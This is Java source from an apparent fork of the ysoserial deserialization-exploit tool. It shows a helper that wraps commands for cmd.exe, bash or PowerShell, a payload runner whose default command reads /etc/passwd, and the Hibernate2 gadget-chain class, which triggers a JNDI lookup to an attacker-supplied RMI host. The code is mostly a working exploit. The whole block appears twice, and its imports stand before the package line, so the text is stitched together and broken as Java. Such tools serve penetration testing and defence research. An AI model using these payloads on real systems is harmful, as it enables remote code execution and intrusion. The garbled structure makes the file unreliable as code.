// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
// 	
// 	private String terminalType;
// 	
// 	private String[] commandArray;
// 	
// 	private String command;
// 
// 	public CmdExecuteHelper(String terminalType, String command) {
// 		super();
// 		this.terminalType = terminalType;
// 		this.command = command;
// 		
// 		switch (terminalType) {
// 		case "cmd":
// 			this.commandArray = new String[]{"cmd.exe","/c", command};
// 			break;
// 		case "bash":
// 			this.commandArray = new String[]{"/bin/bash","-c", command};
// 			break;
// 		case "powershell":
// 			this.commandArray = new String[]{"powershell.exe","-c", command};
// 			break;
// 		default:
// 			this.commandArray = new String[]{command};
// 			break;
// 		}
// 	}
// 
// 	public String[] getCommandArray() {
// 		return commandArray;
// 	}
// 
// 	public void setCommandArray(String[] commandArray) {
// 		this.commandArray = commandArray;
// 	}
// 
// 	public String getCommand() {
// 		return command;
// 	}
// 
// 	public void setCommand(String command) {
// 		this.command = command;
// 	}
// 
// 	public String getTerminalType() {
// 		return terminalType;
// 	}
// 
// 	public void setTerminalType(String terminalType) {
// 		this.terminalType = terminalType;
// 	}
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// 	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 		// ensure payload generation doesn't throw an exception
// 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// 			public byte[] call() throws Exception {
// 				final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
// 
// 				System.out.println("generating payload object(s) for command: '" + command + "'");
// 				
// 				CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
// 				
// 				ObjectPayload<?> payload = clazz.newInstance();
//                 final Object objBefore = payload.getObject(cmdHelper);
// 
// 				System.out.println("serializing payload");
// 				byte[] ser = Serializer.serialize(objBefore);
// 				Utils.releasePayload(payload, objBefore);
//                 return ser;
// 		}});
// 
// 		try {
// 			System.out.println("deserializing payload");
// 			final Object objAfter = Deserializer.deserialize(serialized);
// 		} catch (Exception e) {
// 			e.printStackTrace();
// 		}
// 
// 	}
// 
// }


import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl;
package ysoserial.payloads;





/**
 * 
 * Another application filter bypass
 * 
 * Needs a getter invocation that is provided by hibernate here
 * 
 * javax.naming.InitialContext.InitialContext.lookup()
 * com.sun.rowset.JdbcRowSetImpl.connect()
 * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()
 * 
 * 
 * Requires:
 * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
 * 
 * Arg:
 * - JNDI name (i.e. rmi:<host>)
 * 
 * Yields:
 * - JNDI lookup invocation (e.g. connect to remote RMI)
 * 
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {

    public static String[] getDependencies () {
        return Hibernate1.getDependencies();
    }
   
    public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(cmdHelper.getCommand());
        return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
    }


    public static void main ( final String[] args ) throws Exception {
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
// 	
// 	private String terminalType;
// 	
// 	private String[] commandArray;
// 	
// 	private String command;
// 
// 	public CmdExecuteHelper(String terminalType, String command) {
// 		super();
// 		this.terminalType = terminalType;
// 		this.command = command;
// 		
// 		switch (terminalType) {
// 		case "cmd":
// 			this.commandArray = new String[]{"cmd.exe","/c", command};
// 			break;
// 		case "bash":
// 			this.commandArray = new String[]{"/bin/bash","-c", command};
// 			break;
// 		case "powershell":
// 			this.commandArray = new String[]{"powershell.exe","-c", command};
// 			break;
// 		default:
// 			this.commandArray = new String[]{command};
// 			break;
// 		}
// 	}
// 
// 	public String[] getCommandArray() {
// 		return commandArray;
// 	}
// 
// 	public void setCommandArray(String[] commandArray) {
// 		this.commandArray = commandArray;
// 	}
// 
// 	public String getCommand() {
// 		return command;
// 	}
// 
// 	public void setCommand(String command) {
// 		this.command = command;
// 	}
// 
// 	public String getTerminalType() {
// 		return terminalType;
// 	}
// 
// 	public void setTerminalType(String terminalType) {
// 		this.terminalType = terminalType;
// 	}
// 
// }
// 
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// 	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 		// ensure payload generation doesn't throw an exception
// 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// 			public byte[] call() throws Exception {
// 				final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
// 
// 				System.out.println("generating payload object(s) for command: '" + command + "'");
// 				
// 				CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
// 				
// 				ObjectPayload<?> payload = clazz.newInstance();
//                 final Object objBefore = payload.getObject(cmdHelper);
// 
// 				System.out.println("serializing payload");
// 				byte[] ser = Serializer.serialize(objBefore);
// 				Utils.releasePayload(payload, objBefore);
//                 return ser;
// 		}});
// 
// 		try {
// 			System.out.println("deserializing payload");
// 			final Object objAfter = Deserializer.deserialize(serialized);
// 		} catch (Exception e) {
// 			e.printStackTrace();
// 		}
// 
// 	}
// 
// }


// Path: src/main/java/ysoserial/payloads/Hibernate2.java
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl;

package ysoserial.payloads;





/**
 * 
 * Another application filter bypass
 * 
 * Needs a getter invocation that is provided by hibernate here
 * 
 * javax.naming.InitialContext.InitialContext.lookup()
 * com.sun.rowset.JdbcRowSetImpl.connect()
 * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()
 * 
 * 
 * Requires:
 * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
 * 
 * Arg:
 * - JNDI name (i.e. rmi:<host>)
 * 
 * Yields:
 * - JNDI lookup invocation (e.g. connect to remote RMI)
 * 
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {

    public static String[] getDependencies () {
        return Hibernate1.getDependencies();
    }
   
    public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(cmdHelper.getCommand());
        return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(Hibernate2.class, args);